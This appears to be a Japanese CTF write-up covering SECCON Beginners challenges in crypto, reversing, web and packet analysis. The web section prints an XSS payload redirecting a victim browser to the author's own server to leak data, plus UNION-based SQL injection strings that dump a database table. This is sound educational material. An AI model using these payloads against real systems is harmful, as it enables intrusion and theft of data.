所感
社会人になって初めてのCTFで、今回はぼっちで参加。
BeginnersCTFということで初心者向けの問題が多く、何をしたらいいかわからないみたい
な感覚はあまりなかったように感じた。(小並感)
結果的に、順位は161位でまだ解けそうな問題もいくかあったので悔しい...。
徹夜しようかと思ったけど眠くてムリでした。以下結果。
以下解けた問題のWrite-upで、flag形式はctf4b{......}
Crypt
[Warmup] Veni, vidi, vici
part1
,part2
,part3
のファイルが与えられ、それぞれのファイル内容を復号する問題。
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
Rot13で暗号化されているので復号する。
The first part of the flag is: ctf4b{n0more
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
Rot13ではないが、文頭のLzw
のアルファベットの距離間隔?がpart1
のGur
と同じなのでRotXで暗号化されていると予想。実際Rot8で復号すると、
The second part of the flag is: _cLass!cal_c
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
しばらく考えてしまったが、よく見ると文字を引っくり返した状態になっている。
The third part of the flag is: Rypt0graphy}
これらをつなぎ合わせると、
ctf4b{n0more_cLass!cal_cRypt0graphy}
Streaming
�e_�:WI�Y?�@�J1�&>Q��RV
import os
from flag import flag
class Stream:
A = 37423
B = 61781
C = 34607
def __init__(self, seed):
self.seed = seed % self.C
def __iter__(self):
return self
def next(self):
self.seed = (self.A * self.seed + self.B) % self.C
return self.seed
g = Stream(int(os.urandom(8).encode('hex'), 16))
encrypted = ''
for i in range(0, len(flag), 2):
a = int(flag[i:i+2].encode('hex'), 16) ^ g.next()
encrypted += chr(a % 256)
encrypted += chr(a / 256)
open('encrypted', 'wb').write(encrypted)
flagをencrypt.py
で暗号化したものがencrypted
で元のflagに復号する問題。
暗号化にXOR(^)
が使われているため、flagの既知の部分であるctf4{}
を使って初期のseed
を求める。これをもとにencrypt.py
を修正。
f = open('encrypted', 'rb')
encrypted = f.read();
class Stream:
A = 37423
B = 61781
C = 34607
def __init__(self, seed):
self.seed = seed % self.C
def __iter__(self):
return self
def next(self):
self.seed = (self.A * self.seed + self.B) % self.C
return self.seed
def nextSeed(s):
return (Stream.A * s + Stream.B) % Stream.C
seed = int(encrypted[1].encode('hex'), 16) * 256 + int(encrypted[0].encode('hex'), 16)
seed ^= int("ct".encode('hex'),16)
print "The first seed is :",seed
flag = ''
for i in range(0, len(encrypted), 2):
a = int(encrypted[i+1].encode('hex'), 16) * 256 + int(encrypted[i].encode('hex'), 16)
flag += format(a ^ seed, 'x')
seed = nextSeed(seed)
flag = flag.decode('hex')
print flag
f.close()
The first seed is : 32186
ctf4b{lcg-is-easily-predictable}
よってflagは、ctf4b{lcg-is-easily-predictable}
Reversing
[Warmup] Simple Auth
simple_auth
のファイルが配布される。「 認証に使われているパスワードを探せ!」とあるので探す。
まずは、fileコマンドで確認。
$ file simple_auth
simple_auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=12f26187ec09ac8c5d933f75e41cc68e7f544862, not stripped
ELF
なので実行形式のファイルなので動作を確認。
$ ./simple_auth
Input Password:aaaa
Umm...Auth failed...
このように、パスワードと比較して判定している様子。
フリー版のIDAでdisassebleする。
以下がパスワードと思しき該当箇所
mov [rbp+var_30], 63h
mov [rbp+var_2F], 74h
mov [rbp+var_2E], 66h
mov [rbp+var_2D], 34h
mov [rbp+var_2C], 62h
mov [rbp+var_2B], 7Bh
mov [rbp+var_2A], 72h
mov [rbp+var_29], 65h
mov [rbp+var_28], 76h
mov [rbp+var_27], 33h
mov [rbp+var_26], 72h
mov [rbp+var_25], 73h
mov [rbp+var_24], 69h
mov [rbp+var_23], 6Eh
mov [rbp+var_22], 67h
mov [rbp+var_21], 5Fh
mov [rbp+var_20], 70h
mov [rbp+var_1F], 34h
mov [rbp+var_1E], 73h
mov [rbp+var_1D], 73h
mov [rbp+var_1C], 77h
mov [rbp+var_1B], 30h
mov [rbp+var_1A], 72h
mov [rbp+var_19], 64h
mov [rbp+var_18], 7Dh
Pythonでasciiに直す。
s = "63746634627b726576337273696e675f70347373773072647d"
print s.decode('hex')
flagは、ctf4b{rev3rsing_p4ssw0rd}
Web
[Warmup] Greeting
http://greeting.chall.beginners.seccon.jp/にアクセスし、flagを探す。
アクセスすると、
if(isset($_POST['name'])) {
setcookie("name", $_POST['name'], time()+3600);
$username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");
// 管理者でログインできる?
if($username === "admin") {
$username = "偽管理者";
}
} elseif(isset($_COOKIE['name'])) {
$username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
$username = "ゲスト";
}
php
のソースコードがかかれており、
admin
としてLoginすればflagがもらえそうだが、フォームにadminを入力すると、
偽管理者
としてCookie
の値に代入されるようになっている。
ソースコードによるとPOST
メソッドの値が使われているのでGET
メソッドを使うことで
偽管理者
代入を回避する。
http://greeting.chall.beginners.seccon.jp/?name=admin
よってflagは、`ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}``
Gimme your comment
http://gyc.chall.beginners.seccon.jpサイトのお問い合わせホームに特別なブラウザを使用して回答していて、ブラウザの User-Agent
が分かれば、flagが取得できるみたい。
上図のtextarea
部分にXSS
の脆弱性があったので以下を挿入する。
<script>window.location="http://hogehoge"</script>
すると、回答のため起動したブラウザがXSSにより誘導される。
hogehoge
は自分が立てたサーバのipアドレス。
サーバーのログからUser-Agent
が分かり、flagを取得。
ログは、
"GET HTTP/1.1" 200 3361 "http://hogehoge" "ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}"
よってflagは、ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
SECCON Goods
商品の在庫情報を管理するサイトで特にフォーム等は見当たらないが、
axios.get('/items.php?minstock=0')
の部分から、item.php
が在庫情報を取得しているのがわかる。
また、minstock=0
の数字の値を変えてrequestすると、数字の値以上のリストが表示される。
このことから、minstock=0
の部分は、SQL文
のwhere句
に
該当すると予想。
試しに、
minstock=8 or 1=1
を挿入すると、
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"}]
全部のリストが出力されたので、 SQLinjection が行えることがわかる。
流れとしては、テーブル名を把握し、次にカラム名を探し、表示する。
- テーブル名
minstock=8%20union%20select%201,2,3,4,table_name%20from%20information_schema.tables
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"}
...
{"id":"1","name":"2","description":"3","price":"4","stock":"flag"},{"id":"1","name":"2","description":"3","price":"4","stock":"items"}]
これより、テーブル名がflag
とわかる。
- カラム名
minstock=8%20union%20select%201,2,3,4,column_name%20from%20information_schema.columns%20where%20table_name%20=%20"flag"
[
{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},
{"id":"1","name":"2","description":"3","price":"4","stock":"flag"}
]
これより、カラム名もflag
と判明。
- flagを表示する
minstock=8%20union%20select%201,2,3,4,flag%20from%20flag
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"1","name":"2","description":"3","price":"4","stock":"ctf4b{cl4551c4l_5ql_1nj3c710n}"}]
よってflagは、ctf4b{cl4551c4l_5ql_1nj3c710n}
Misc
[Warmup] Welcome
“フラグは公式IRCチャンネルのトピックにあります。”
言葉通り、IRCチャンネルに入ったらflagが取得できた。
flagは、ctf4b{welcome_to_seccon_beginners_ctf}
[Warmup] plain mail
packet.pcap
ファイルが配られるのでWiresharkでみる。
内容はメールのやりとりが行われていて、smtp
プロトコルなので暗号化されていない。
“I will send secret information. First, I will send encrypted file. Second, I wll send you the password.”
のメッセージから、ファイルとパスワードを送信しているらしい。
ファイルに該当するところが、
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
メールなので、base64
でencodeされているのでdecodeする。
decodeするとzip
にファイルになっているので解凍しようとするが、
パスワードを求められる。
パスワードは、平文で送られているのでそのまま_you_are_pro_
を利用する。
これを使ってファイルを解凍、無事にflagを取得。
flagは、ctf4b{email_with_encrypted_file}